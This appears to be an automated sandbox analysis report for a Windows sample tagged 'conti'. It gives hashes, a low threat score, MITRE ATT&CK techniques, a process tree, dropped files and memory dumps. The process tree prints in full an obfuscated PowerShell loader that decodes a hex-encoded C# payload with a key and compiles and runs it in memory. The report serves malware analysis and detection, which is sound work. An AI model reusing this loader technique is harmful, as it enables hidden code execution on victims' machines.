6e94c9569941e1ec3a0c6719e5cadb4ad1e0c05a4afc7a7f526e4fa5667d00b1

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
08/08/2026, 01:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-07_5f085e1370a464bb389409ed39de97ef_conti.exe
Size 18KB
Sample260808-bnq1maxcmf
SHA256 6e94c9569941e1ec3a0c6719e5cadb4ad1e0c05a4afc7a7f526e4fa5667d00b1
MD5 5f085e1370a464bb389409ed39de97ef
SHA1 9499941727afaf9e61efcda59c40f0596897770b
SHA512 3dd25958b953a95bde45045a476a6a7686df1760b17d89e898057c02c23f06af11153eb419fc0c6404d5aa417e3b6cabbba0823035e9aa6926413d3c75b75669
SSDEEP 384:tiSLUI3Y3Oejv/ZFL2US1MkYSNYgCW0iDa:tMI3Y3O65FqUS1XY+kW3a
TLSH
T1D282D55AB65394E8D69AD0B498D38FB0F571BDE201305B3B2384E6792E31D879E3E007
MD5 SHA1 SHA512 SSDEEP TLSH

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3736	powershell.exe
4572	powershell.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4504	cmd.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3736	powershell.exe
3736	powershell.exe
4572	powershell.exe
4572	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3736	powershell.exe
Token: SeDebugPrivilege	4572	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 2624 wrote to memory of 4504	2624	2026-08-07_5f085e1370a464bb389409ed39de97ef_conti.exe	86
PID 4504 wrote to memory of 3736	4504	cmd.exe	87
PID 3736 wrote to memory of 4572	3736	powershell.exe	88
PID 4572 wrote to memory of 8	4572	powershell.exe	90
PID 8 wrote to memory of 5012	8	csc.exe	91

C:\Users\Admin\AppData\Local\Temp\2026-08-07_5f085e1370a464bb389409ed39de97ef_conti.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-07_5f085e1370a464bb389409ed39de97ef_conti.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2624
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -NoProfile -Command "$j=Start-Job{$k=[byte[]](0..(15)|%{[Convert]::ToByte('573c3dd4ac6eda1c6a8ae4a2d413e545'.Substring($_*2,2),16)});$c=[byte[]](0..(140)|%{[Convert]::ToByte('ccafa642138e2d95ddfe490f0f1d5ab8c0aaa4f4ffe74d90cff712f93d8149b4ceaf6b1a1be0478fa594ee12497551aeba5ca0400de14d3cadcd27ed398cefc0615c5df4ccde4f7ed6f347c2478746b9c09f5d4a1bd73e3cb9fa4910fc3cef65775c5d4fb68efa3c8aaa04c2f4604ab8ca9da439eedd524abdf25319fc352daed09d5ffde778fa3c8aaa61ac51'.Substring($_*2,2),16)});$p=[byte[]](0..($c.Length-1)|%{($c[$_]-$k[$_%$k.Length]+256)%256});Add-Type -ReferencedAssemblies @('System.dll','System.Windows.Forms.dll') -TypeDefinition ([Text.Encoding]::UTF8.GetString($p));[CCCKey]::Open()};$j|Receive-Job -Wait -AutoRemoveJob"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4504
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "$j=Start-Job{$k=[byte[]](0..(15)|%{[Convert]::ToByte('573c3dd4ac6eda1c6a8ae4a2d413e545'.Substring($_*2,2),16)});$c=[byte[]](0..(140)|%{[Convert]::ToByte('ccafa642138e2d95ddfe490f0f1d5ab8c0aaa4f4ffe74d90cff712f93d8149b4ceaf6b1a1be0478fa594ee12497551aeba5ca0400de14d3cadcd27ed398cefc0615c5df4ccde4f7ed6f347c2478746b9c09f5d4a1bd73e3cb9fa4910fc3cef65775c5d4fb68efa3c8aaa04c2f4604ab8ca9da439eedd524abdf25319fc352daed09d5ffde778fa3c8aaa61ac51'.Substring($_*2,2),16)});$p=[byte[]](0..($c.Length-1)|%{($c[$_]-$k[$_%$k.Length]+256)%256});Add-Type -ReferencedAssemblies @('System.dll','System.Windows.Forms.dll') -TypeDefinition ([Text.Encoding]::UTF8.GetString($p));[CCCKey]::Open()};$j|Receive-Job -Wait -AutoRemoveJob"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3736
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4572
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0mlre0ol\0mlre0ol.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:8
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBD11.tmp" "c:\Users\Admin\AppData\Local\Temp\0mlre0ol\CSC3A5A7EB13DE5429D8DE8A0DE2C6ECE5C.TMP"
        6⤵
        
        PID:5012

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

0mlre0ol.dll

Path C:\Users\Admin\AppData\Local\Temp\0mlre0ol\0mlre0ol.dll
Size 3KB
SHA256 a0891d679cf758cda3d85be05225548fcbb2ff2219a0de68878fe55bfbecd7fa
MD5 794d4ebc692bca68cd81ea79f829b1f6
SHA1 2468edab4d7b32dc028a3b24e1e0b361ed52469f
SHA512 6a78f18400fa4a54997f446a652ae80deaeef749cce099e49b315e0fdeb48d044f7d281e84669915c4b57680cc993ebc12b4533d992ccbe2d5af0bbb7d2da789
TLSH
T1DE51CB1793F8466BE0B70B30BEE3031733B5B8608F72935D19844229BC60A645E71FB6
MD5 SHA1 SHA512 TLSH

Submit Download

RESBD11.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESBD11.tmp
Size 1KB
SHA256 7b432240a856d2bebfa2c6687d009a66ad9ad3efe4d4d9feed3798dd988982bc
MD5 d9fd20fffd383978112273e80788844d
SHA1 bdbb98f3c8c03e0e0eb1f7d94b58cfee298adf30
SHA512 35a323b8faf610fab2de6f2fc0b30d003e1de514002aab89b969172bb82e69c9da44521ca1eb0a09a1af22fea03553e90e2b46d0df9de5fdb352ea79bfb9b45c
TLSH
T14D213A0543E94B1EF0774B327DF6172F9235FD54EF62976B854042291861504DEE1A72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_wrlflsqx.5mo.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wrlflsqx.5mo.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

0mlre0ol.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\0mlre0ol\0mlre0ol.0.cs
Size 144B
SHA256 db718adfb25bed70064df92ddee63fc471dcaff171b29bbf0ea6d5fd62bf87ae
MD5 d1fecc13d25056cd77842b5739a77ab4
SHA1 211590badae0942297281a86bac9eaf4f2a24315
SHA512 2c58730e46cd81bdc1e011c8222f0372e9563c592a22a7c70071a8f49e6409d82e2149496b40647f2964f9e7a027e88e00eb90c100bcdb0c08645b059b6f7124
TLSH
T100C02B3C33768558042780122D06E1D53323263B073E4700F84C0A00CF010188738FEF
MD5 SHA1 SHA512 TLSH

Submit Download

0mlre0ol.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\0mlre0ol\0mlre0ol.cmdline
Size 399B
SHA256 4b5474d25283a51d864a8bf0d7a9ba70c4d8d1a3ac542d5ebd7c30b017f2c5ed
MD5 1e8f3eba72415832aa7a31136fac776f
SHA1 5c185cec1db85480444a442694e7d17046fdcf3d
SHA512 894e03d2c179dbade9930f58334be1e269fdcf37d135e8823a016f700dab2069b29e5d6af9a53545cee460ffc10128e657a528c04de08e0e962f6f172a1348a4
TLSH
T134E0683B425AC27D81ED180B2B6EC5FD837207433A457FB8D180884DE427980A7D1781
MD5 SHA1 SHA512 TLSH

Submit Download

CSC3A5A7EB13DE5429D8DE8A0DE2C6ECE5C.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\0mlre0ol\CSC3A5A7EB13DE5429D8DE8A0DE2C6ECE5C.TMP
Size 652B
SHA256 9473887ad7774e7180d21f6d53387528c1c41f78676ce6bd2d672e91d0c40782
MD5 c98458a8289b252ec223c07960d48169
SHA1 c4fd6c1acb6cadecb7d6d2491f5d50c65cce6f4d
SHA512 a7302e01a885cafab5ea200fa90678d54519ce78c93dd93e8cdf72bdfca31a5d4b107cfebdc7fc963c2a190dacbcccfa6e05bbe97aa1af0fca6aeb15722467de
TLSH
T1E6F05E4A63F8020EF0F34F30BEF6436791B9BC64DE3293ED1444031928645108962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2624-40-0x00007FF60DBB0000-0x00007FF60DBBC000-memory.dmp

Download

memory/3736-1-0x000001C278CD0000-0x000001C278CE0000-memory.dmp

Download

memory/3736-11-0x000001C27BB80000-0x000001C27BD8A000-memory.dmp

Download

memory/3736-10-0x000001C27B7F0000-0x000001C27B966000-memory.dmp

Download

memory/3736-2-0x000001C27AD50000-0x000001C27AD72000-memory.dmp

Download

memory/3736-0-0x000001C278CD0000-0x000001C278CE0000-memory.dmp

Download

memory/3736-34-0x000001C278CD0000-0x000001C278CE0000-memory.dmp

Download

memory/3736-35-0x000001C278CD0000-0x000001C278CE0000-memory.dmp

Download

memory/3736-39-0x000001C27B0F0000-0x000001C27B30C000-memory.dmp

Download

memory/4572-13-0x000001A6F52E0000-0x000001A6F52F0000-memory.dmp

Download

memory/4572-33-0x000001A6F5270000-0x000001A6F5278000-memory.dmp

Download

memory/4572-36-0x000001A6F7360000-0x000001A6F757C000-memory.dmp

Download

memory/4572-12-0x000001A6F52E0000-0x000001A6F52F0000-memory.dmp

Download